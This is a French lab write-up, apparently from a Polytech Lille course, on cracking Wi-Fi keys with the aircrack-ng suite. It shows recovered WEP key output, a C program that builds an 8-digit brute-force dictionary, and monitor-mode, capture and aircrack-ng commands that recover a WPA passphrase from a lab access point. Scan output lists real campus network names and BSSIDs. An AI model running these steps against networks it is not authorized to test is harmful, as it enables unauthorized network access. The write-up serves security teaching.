KB depth byte(vote) 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560)
KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
La clé a été trouver et sa valeur est "EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44"
Craquage de clé WPA
Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.
Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :
#include <stdio.h> #include <stdlib.h>
#define MAX_NUM 99999999
int main(){ long chiffre = 0; FILE* fp = NULL; fp = fopen("dictionnaire.txt","a+"); if (fp != NULL){ for (chiffre=0;chiffre< MAX_NUM + 1;chiffre++) { fprintf(fp,"%08li\n",chiffre); } fclose(fp); } return 0; }
Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA :
1. On bascule l'interface wifi en mode monitor :
airmon-ng start wlan2
2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :
airodump-ng --encrypt WPA wlan2
On obtient le résultat suivant :
00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK <length: 1> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK <length: 1> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT <length: 1> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT <length: 1> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT <length: 1> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK <length: 1> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK <length: 1> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT <length: 1>
3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture
airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05
4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :
aircrack-ng -w dictionnaire.txt cracotte09-01.cap
5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :
passphrase : 12399909